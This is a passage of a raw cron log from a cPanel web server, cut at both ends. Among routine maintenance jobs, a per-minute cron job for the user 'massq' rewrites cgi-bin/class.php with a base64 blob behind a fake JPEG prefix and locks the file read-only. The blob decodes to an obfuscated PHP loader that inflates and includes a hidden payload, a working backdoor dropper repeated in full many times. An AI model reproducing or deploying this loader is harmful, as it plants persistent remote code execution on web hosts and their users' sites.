Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:38:01 server CROND[31089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:38:01 server CROND[31090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:38:01 server CROND[31091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:39:01 server CROND[31483]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 02:39:01 server CROND[31482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:39:01 server CROND[31481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:39:01 server CROND[31490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:40:01 server CROND[32254]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 02:40:01 server CROND[32257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:40:01 server CROND[32259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:40:01 server CROND[32261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:40:01 server CROND[32258]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 02:40:01 server CROND[32260]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:40:01 server CROND[32264]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 02:40:01 server CROND[32262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:41:01 server CROND[668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:41:01 server CROND[667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:41:01 server CROND[669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:42:01 server CROND[1127]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 02:42:01 server CROND[1129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:42:01 server CROND[1128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:42:01 server CROND[1132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:43:01 server CROND[1551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:43:01 server CROND[1552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:43:01 server CROND[1553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:44:01 server CROND[1940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:44:01 server CROND[1943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:44:01 server CROND[1942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:45:01 server CROND[2457]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:45:01 server CROND[2459]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 02:45:01 server CROND[2460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:45:01 server CROND[2462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:45:01 server CROND[2464]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 02:45:01 server CROND[2461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:45:01 server CROND[2465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:46:01 server CROND[3322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:46:01 server CROND[3323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:46:01 server CROND[3324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:47:01 server CROND[3701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:47:01 server CROND[3702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:47:01 server CROND[3704]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Sep  1 02:47:01 server CROND[3703]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Sep  1 02:47:01 server CROND[3706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:47:44 server crontab[4651]: (root) LIST (root)
Sep  1 02:47:52 server crontab[5009]: (root) LIST (root)
Sep  1 02:47:52 server crontab[5012]: (root) LIST (root)
Sep  1 02:47:57 server crontab[5128]: (root) LIST (root)
Sep  1 02:48:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/imunify-core)
Sep  1 02:48:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  1 02:48:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep  1 02:48:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep  1 02:48:01 server CROND[5232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:48:01 server CROND[5235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:48:01 server CROND[5233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:49:01 server CROND[6206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:49:01 server CROND[6205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:49:01 server CROND[6204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 